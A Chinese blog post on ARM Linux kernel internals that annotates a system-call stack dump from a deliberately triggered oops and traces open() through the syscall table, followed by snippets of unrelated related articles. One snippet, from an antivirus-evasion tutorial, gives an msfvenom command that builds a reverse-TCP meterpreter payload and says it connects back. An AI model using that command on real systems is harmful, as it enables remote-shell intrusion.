学内核之二十一:系统调用栈结构分析
目录
一 构建分析环境
二 栈的位置
三 栈开头8字节
四 寄存器环境
五 R4和R5
六 如何确定系统调用的具体函数
一 构建分析环境
为了分析方便,做了如下测试环境:
内核实现一个简单的创建字符设备的驱动
应用层实现一个c程序,操作为打开内核创建的字符设备文件
内核在处理open设备文件的接口中,将指针设置为空,并在该空指针上赋值。这样,就触发内核的空指针异常,输出oops及相关堆栈。
为了说明方便,将内核的栈信息单独提取出来
<0>dee0: beceeccc c00cd8f4 00000041 c004897c cf050790 cf5ab990 ea7ef579 00000006
<0>df00: cd826015 c0718100 00000000 cf401c38 ce2c3bc8 00000101 00000004 0000003e
<0>df20: 00000000 00000000 00000000 ffffff9c cd826000 00000ff0 c0776c30 000105f0
<0>df40: 00000000 00000000 ffffff9c cd826000 00000005 00000003 ffffff9c cd826000-1 -2 -3 -4 -5 -6
<0>df60: 00000005 c00bec3c c0714080 c071f780 cd0e2480 00000000 c0000000 00000024-7 -8 -9 r4 r5 r6 r7 r8
<0>df80: 00000100 00000001 cd3cc000 0001056c 00000000 00010354 00000005 c000e6a8r9 lr r4 r5 r0 0 r1 1 -18 2 3
<0>dfa0: cd3cc000 c000e4e0 0001056c 00000000 000105f0 00000000 00000001 000000004 5 6 7 8 9 10 11
<0>dfc0: 0001056c 00000000 00010354 00000005 00000000 00000000 b6f8b000 beceeccc12 13 sp 14 lr 15 pc 16 cpsr 17-old r0 rev rev
<0>dfe0: 00000000 beceecb4 000104fc b6df902c 60080010 000105f0 00000000 00000000
<4>[<bf8f5074>] (second_open [debug_for_syscall_statck]) from [<c00c35fc>] (chrdev_open+0xd0/0x190)
<4>[<c00c35fc>] (chrdev_open) from [<c00bd790>] (do_dentry_open+0x1d8/0x2f0)
<4>[<c00bd790>] (do_dentry_open) from [<c00cbe44>] (do_last+0x6b0/0xc5c)
<4>[<c00cbe44>] (do_last) from [<c00cc4a8>] (path_openat+0xb8/0x640)
<4>[<c00cc4a8>] (path_openat) from [<c00cd8f4>] (do_filp_open+0x2c/0x88)
<4>[<c00cd8f4>] (do_filp_open) from [<c00bec3c>] (do_sys_open+0x104/0x1c8)
<4>[<c00bec3c>] (do_sys_open) from [<c000e4e0>] (ret_fast_syscall+0x0/0x38)
上面,已对栈的信息做了标注。下面看这些标注如何得来。
二 栈的位置
参考之前对oops异常的分析。主要是内核栈占用两个页面,共8KB,一头上threadinfo,一头是内核栈栈底。栈向下增长,从高地址到低地址。
三 栈开头8字节
内核栈预留了8个字节
这是内核设计保留的,具体原因参考内核的修改记录
https://git.kernel.org/pub/scm/linux/kernel/git/history/history.git/commit/?id=415395e19fd197ce4f248902dba54f4065af547c
Always leave 8 bytes free at the top of the kernel stack. Thisprevents the stack becoming completely empty when do_exit() iscalled from an exiting nfsd() thread, and causing the wrongpointer to be returned from current_thread_info()
代码中也是如此定义栈开始位置的。
./arch/arm/include/asm/thread_info.h:#define THREAD_START_SP (THREAD_SIZE - 8)
上面标记为rev的两个位置
四 寄存器环境
接下来18个位置,为寄存器环境保存用。占用大小根据pg_regs定义来,72字节
具体入栈操作在entry-common.S中
.align 5ENTRY(vector_swi)#ifdef CONFIG_CPU_V7Mv7m_exception_entry#elsesub sp, sp, #S_FRAME_SIZEstmia sp, {r0 - r12} @ Calling r0 - r12ARM( add r8, sp, #S_PC )ARM( stmdb r8, {sp, lr}^ ) @ Calling sp, lr。。。。。。
上述文件在kernel目录的如下位置:
./arch/arm/kernel/entry-common.S:ENTRY(vector_swi)
vector_swi定义了系统调用异常的入口。也就是上层c代码进入c库使用swi指令触发系统调用时,会触发异常,在异常向量表中,执行上述汇编代码
在上述汇编代码中,保存了栈的18个位置
其中的7保存了系统调用号
五 R4和R5
在调用系统调用接口之前,保存了两个寄存器
local_restart:ldr r10, [tsk, #TI_FLAGS] @ check for syscall tracingstmdb sp!, {r4, r5} @ push fifth and sixth argstst r10, #_TIF_SYSCALL_WORK @ are we tracing syscalls?bne __sys_tracecmp scno, #NR_syscalls @ check upper syscall limitadr lr, BSYM(ret_fast_syscall) @ return addressldrcc pc, [tbl, scno, lsl #2] @ call sys_* routine
r4 和 r5之后,使用r8保存系统调用表,使用7中的中断号,右移两位,每个调用占用4字节,修改pc寄存器,直接跳转到系统调用中
跳转之前,将返回地址写入lr寄存器中
六 如何确定系统调用的具体函数
sys_call_table确定开始位置
call.S确定具体函数名
/* 0 */ CALL(sys_restart_syscall)CALL(sys_exit)CALL(sys_fork)CALL(sys_read)CALL(sys_write)/* 5 */ CALL(sys_open)./arch/arm/include/asm/unistd.h:#define __NR_syscalls (388)
共有388个项目,所以sys_call_table开始位置保留 388×4大小的空间
这些空间在vmlinux.o目标中是填充的零。此文件反汇编后,虚拟地址的开始位置为0
需要查看vmlinux的反汇编。这个反汇编中,虚拟地址开始位置调整为c0000000了,且上述表的内容也有具体内容了。
c000e6a8 <sys_call_table>:c000e6a8: c002e0d8 ldrdgt lr, [r2], -r8c000e6ac: c0024c64 andgt r4, r2, r4, ror #24c000e6b0: c0021940 andgt r1, r2, r0, asr #18c000e6b4: c00cf1b8 ; <UNDEFINED> instruction: 0xc00cf1b8c000e6b8: c00cf254 andgt pc, ip, r4, asr r2 ; <UNPREDICTABLE>c000e6bc: c00cdf74 andgt sp, ip, r4, ror pcc000e6c0: c00cccd4 ldrdgt ip, [ip], -r4c000e6c4: c003aa08 andgt sl, r3, r8, lsl #20c000e6c8: c00cdf90 mulgt ip, r0, pc ; <UNPREDICTABLE>
这里,5号调用,第六个位置,地址为c00cdf74
该地址的汇编代码为
c00cdf74 <SyS_open>:c00cdf74: e6ff3072 uxth r3, r2c00cdf78: e1a02001 mov r2, r1c00cdf7c: e1a01000 mov r1, r0c00cdf80: e3e00063 mvn r0, #99 ; 0x63c00cdf84: eaffff88 b c00cddac <do_sys_open>
所以,系统调用最开始调用SyS_open,接着调用do_sys_open
这就跟上述栈的回溯对应上了
c00cddac <do_sys_open>:c00cddac: e3a0c040 mov ip, #64 ; 0x40c00cddb0: e7dfc81c bfi ip, ip, #16, #16c00cddb4: e012c00c ands ip, r2, ipc00cddb8: 17eb3053 ubfxne r3, r3, #0, #12c00cddbc: e92d43f0 push {r4, r5, r6, r7, r8, r9, lr}c00cddc0: e24dd024 sub sp, sp, #36 ; 0x24
这个函数里,入栈7个位置,并预留9个位置,这也跟上述栈标记及栈回溯对应上了
关于系统调用时如何通过代码里的宏定义等映射到SyS_open的,后续再看。
基于此,就可以进行栈分析了。
七 其他
关于汇编里的伪代码 标记 头文件引入 指令集选择 新旧ABI兼容处理 等等,就不记录了,可以结合最终汇编代码,确定一些条件编译的情况
相关文章:
学内核之二十一:系统调用栈结构分析
目录 一 构建分析环境 二 栈的位置 三 栈开头8字节 四 寄存器环境 五 R4和R5 六 如何确定系统调用的具体函数 一 构建分析环境 为了分析方便,做了如下测试环境: 内核实现一个简单的创建字符设备的驱动 应用层实现一个c程序,操作为打开内…...
互联网3.0 数字原生——数物虚实多维细粒度泛在融合
随着计算机、宽带网、通信技术的飞速发展,互联网技术和软硬件系统也不断演进,催生了一场前所未有的数字化革命。从Web1.0到Web3.0,以及虚拟现实、人工智能和数字孪生等领域的崛起,每一步都勾画出了一个崭新的数字未来,…...
实现AIGC更好的数据存力,这家科技巨头为我们指明了方向
存力即数据存储能力 蕴藏着巨大的发展机会 【全球存储观察 | 热点关注】 2023年,全球被ChatGPT的热潮席卷,拥抱AIGC的创新赛道成为众多企业的新选择。 全球存储观察分析指出,影响AIGC发展的三大因素也日益凸显,即算…...
企业如何在抖音上搞到TOB潜在精准客户流量?
我们都知道,现在互联网上流量都被集中了几个大的平台里。而抖音,一定是绕不开那个!图片在公众号:白杨SEO上去看。 抖音,在很多人的传统印象里,还只是一个娱乐短视频APP,用来打发时间而已。事实…...
JeecgBoot v3.5.5 版本发布,性能大升级版本—开源免费的低代码开发平台
项目介绍 JeecgBoot是一款企业级的低代码平台!前后端分离架构 SpringBoot2.x,SpringCloud,Ant Design&Vue3,Mybatis-plus,Shiro,JWT 支持微服务。强大的代码生成器让前后端代码一键生成! JeecgBoot引领…...
与树上边权、连通块、二分块相关的问题(抓住各连通块之间的联系,考虑增量):CF444E
https://www.luogu.com.cn/problem/CF444E 首先肯定二分 然后是棵树,所以考虑按顺序枚举边权 然后肯定会有连通块和并查集 考虑现在场上有多个连通块,我们只保留大于 m i d mid mid 的边 则每个连通块都必须往外连边 一个很朴素的思路是判定每个连…...
解决VSCode下载速度很慢
这是VSCode的官网: Visual Studio Code - Code Editing. Redefined 按照官网的下载链接,速度实在是感人! 解决办法也很简单,把链接换为CDN加速的链接 把下载链接中的az764295.vo.msecnd.net 替换为👉 vscode.cdn.azu…...
悬赏算命测算源码可以用二维码收款 可以直接拿来运营
首发悬赏算命测算源码可以用二维码收款 可以直接拿来运营吸金!用户可以通过发布悬赏赏金算命,也可以通过升级发布测算任务来吸金 测试环境:php5.6apache2.4mysq5.6 安装教程: 测试环境:php5.6apache2.4mysq5.6 安装&…...
在Linux中安装nginx-1.20.1+php-7.4.28(增加扩展)
NginxPHP安装在公网IP为x.x.x.x的服务器上 需要下载安装的软件版本:nginx-1.20.1php-7.4.28 需要增加的PHP扩展如下: 在编译安装php-7.4.28时加上的pcntl; 单独下载安装的Wxwork_finance_sdk;(在编译安装php-7.4.2…...
使用vue-cli搭建SPA项目
一.SPA项目的构建 前提 nodeJS环境已经搭建完毕 node -v npm -v 什么是SPA项目 SPA(Single Page Application)项目是一种使用单页面架构的Web应用项目。在SPA项目中,整个应用程序只有一个HTML页面,通过动态加载数据和更新DOM来实…...
PLC串口通讯和通讯接口知识汇总
在使用PLC的时候会接触到很多的通讯协议以及通讯接口,最基本的PLC串口通讯和基本的通讯接口你都了解吗? 一、什么是串口通讯? 串口是一种接口标准,是计算机上一种非常通用设备通信的协议。它规定了接口的电气标准,没…...
Vue基础入门---详细简介
一,对Vue的概念 1.1 什么是Vue ? 一种流行的JavaScript前端框架,用于构建交互式的Web应用程序。它以简洁、灵活和高效的特性而受到广泛欢迎。Vue采用了一种响应式的数据绑定机制,使得数据的变化能够自动更新相关的DOM元素&#x…...
Qt重写QTreeWidget实现拖拽
介绍 此文章记录QTreeWidget的重写进度,暂时停滞使用,重写了QTreeWidget的拖拽功能,和绘制功能,自定义了数据结构,增加复制,粘贴,删除,准备实现动态刷新数据支持千万数据动态刷新&a…...
【Spring Boot】拦截器学习笔记
一、普通拦截器 1,新建类MyWebConfig实现WebMvcConfigurer,实现addInterceptors方法 Overridepublic void addInterceptors(InterceptorRegistry registry) {registry// 不拦截哪些请求.excludePathPatterns("/login")// 拦截哪些请求.addPat…...
云可观测性:提升云环境中应用程序可靠性
随着云计算的兴起和广泛应用,越来越多的企业将其应用程序和服务迁移到云环境中。在这个高度动态的环境中,确保应用程序的可靠性和可管理性成为了一个迫切的需求。云可观测性作为一种解决方案,针对这一需求提供了有效的方法和工具。本文将介绍…...
免杀对抗-java语言-shellcode免杀-源码修改+打包exe
JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令:msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包,成功上线 命令࿱…...
抖音、知乎、小红书的流量算法
目前我国网民规模已超过10亿,在这互联网时代,更是流量为王。各个平台里的每个视频、每张图片,背后都有着算法的身影,支配着所有人的流量。作为内容创作者及运营者来说,除了制作高质量的内容以外,也需要掌握…...
c++ 纯虚函数、抽象类
一、 纯虚函数 抽象类 只要有一个纯虚函数,这个类称为抽象类 抽象类的特点 1、无法实例化 2、抽象类的子类,必须要重写父类中的纯虚函数,否者也属于抽象类 例子一 #include <iostream> #include <string.h> using namespa…...
echarts另外存为图片
今天同事画了个Echarts,我看了下居然有下载功能!!!!(之前一直不知道) 这是原图,右上角有个下载功能, 下载后是这样的 貌似是没有了y轴的参数和x轴的参数,估计是可以配置的…...
Mybatis返回自动递增主键值,通过实体
如果你在数据库中使用了自动递增的主键(通常是整数类型),你可以使用 MyBatis 来返回插入记录后生成的自动递增的 ID。这里是一个示例: 首先,在你的 SQL 映射文件中,使用 <insert> 元素来执行插入操作…...
如何在 Excel 中求平方根
需要在 Excel 中求一个数字的平方根吗?使用几个内置的 Excel 函数和公式可以轻松计算平方根。在本分步指南中,您将学习在 Excel 中计算平方根的 5 种不同方法,包括使用 SQRT 函数、POWER 函数、指数公式、VBA 代码和 Power Query。跟随教程&a…...
苹果手机无法正常使用小程序和APP
小程序、APP 已使用了几年,突然大量反馈:苹果手机无法正常使用。但不是全部,只是部分手机。 因为同事苹果手机都能用,所以无法准确判断具体原因。 后来同事苹果手机也无法使用了,显示: 网上搜索结果&…...
【Axure教程】用中继器制作双坐标柱状折线图
双坐标柱状折线图常用于同时展示两组数据的图表类型,每组数据都有自己的纵坐标轴(Y轴)。一组数据通常用柱状图表示,而另一组数据则用折线图表示。这种图表类型有助于比较两组数据之间的关系和趋势。 那今天作者就教大家ÿ…...
C 风格文件输入/输出---错误处理---(std::clearerr,std::feof,std::ferror,std::perror)
C 标准库的 C I/O 子集实现 C 风格流输入/输出操作。 <cstdio> 头文件提供通用文件支持并提供有窄和多字节字符输入/输出能力的函数,而 <cwchar>头文件提供有宽字符输入/输出能力的函数。 错误处理 清除错误 std::clearerr void clearerr( std::FILE…...
mysql 主从复制 mysql版本5.7.35
文章目录 1.注意要点2.环境3.MySQL 主从配置的步骤:主从库新增DB主服务配置my.cnf从服务配置my.cnf主服务器创建复制用户从服务器执行复制 外传 MySQL 主从复制(Master-Slave Replication)是一个常用的高可用性和可扩展性解决方案。通过主从复…...
iOS“超级签名”绕过App Store作弊解决方案
一直以来,iOS端游戏作弊问题都是游戏行业的一大痛点。在当下游戏多端互通的潮流下,游戏作为一个整体,无论哪一端出现安全问题,都会造成更加严重的影响。因此,iOS端游戏安全保护也同样十分重要。 iOS独特的闭源生态&am…...
I2C子系统、读取温湿度的逻辑及代码
一、IIC子系统 两根线: scl:时钟线 sda:数据线 iic有4种信号: 起始信号(start):scl是高电平,sda下降沿 终止信号(stop):scl高电平,sda上升沿 应答信号…...
数据结构——排序
排序算法 前言一、认识排序排序的概念常见的排序算法排序实现的接口 二、常见排序算法的实现插入排序直接插入排序希尔排序 选择排序直接选择排序堆排序 交换排序冒泡排序 三、各个排序的效率比较四、完整代码演示:shell_insert.hshell_insert.ctest.c 总结 前言 来…...
资深java面试题及答案整理
编写 Java 程序时, 如何在 Java 中创建死锁并修复它? 经典但核心Java面试问题之一。 如果你没有参与过多线程并发 Java 应用程序的编码,你可能会失败。 如何避免 Java 线程死锁? 如何避免 Java 中的死锁?是 Java 面试的热门问题之…...
buuctf-[网鼎杯 2020 朱雀组]phpweb
1.打开网站,吓我一跳 2.查看源代码,主要看到timezone,然后这个页面是五秒就会刷新一次 一开始去搜了这个,但是没什么用 3.使用bp抓包 会发现有两个参数,应该是用func来执行p 4.修改func和p file_get_contents&#…...
wordpress主题ux themes/信息流广告接单平台
第一节 Linux系统简介初步了解了什么是Linux系统,有何优点、与Windows系统有何不一样,并了解Linux学习方法。linux第二节 基本概念及概念1.完成实验楼入门基础课程,共两个实验:(1)“hello,shiyanlou” (2)"hello world!"…...
广东省网站开发建设/百度推广后台登录入口官网
工厂模式的实现方式和原理都不难理解和掌握。但是,在学习完之后,发现网上给的例子,根本体现不了工厂模式的作用。先不说存在有的例子本身就是错误的,主要是例子中的代码太简单,可以说没必要用工厂模式,只不…...
网站与微信区别/郑州seo排名优化
由数据中心联盟主办、中国移动通信集团设计院有限公司协办的“2016 IDC创新发展论坛”将于2016年7月21日-22日在北京国宾酒店召开。论坛定位于运营商IDC相关业务部门,将集中进行专题研讨。工业和信息化部信息通信发展司、中国信息通信研究院相关领导以及…...
鹤壁哪有做网站的/百度推广费用
Contents...
网站维护的内容/企业营销策划实训报告
我们都已经习惯认为下一代的iPhone会有更大的屏幕。至于实际尺寸(取决于你相信哪个传闻),貌似大家都倾向于认为会更大。不过现在看来,可能不会这样了。 苹果的PhotoStream中的一个图标似乎说明了这款智能机并没有走传统的iPhone设…...
删掉cache wordpress/短期培训班学什么好
原文 对于我们CSS开发者来说经常听到一些关于LESS和SASS的信息,但是我们并不知道这都是什么意思,这篇文章就是为我们而准备的.在调查这些语言后,我已经发现它们都是一些js文件,运行后会产生相应CSS文件给我们.为什么我们要使用LESS和SASS它们呢,因为我们可以避免CSS中需要的重复…...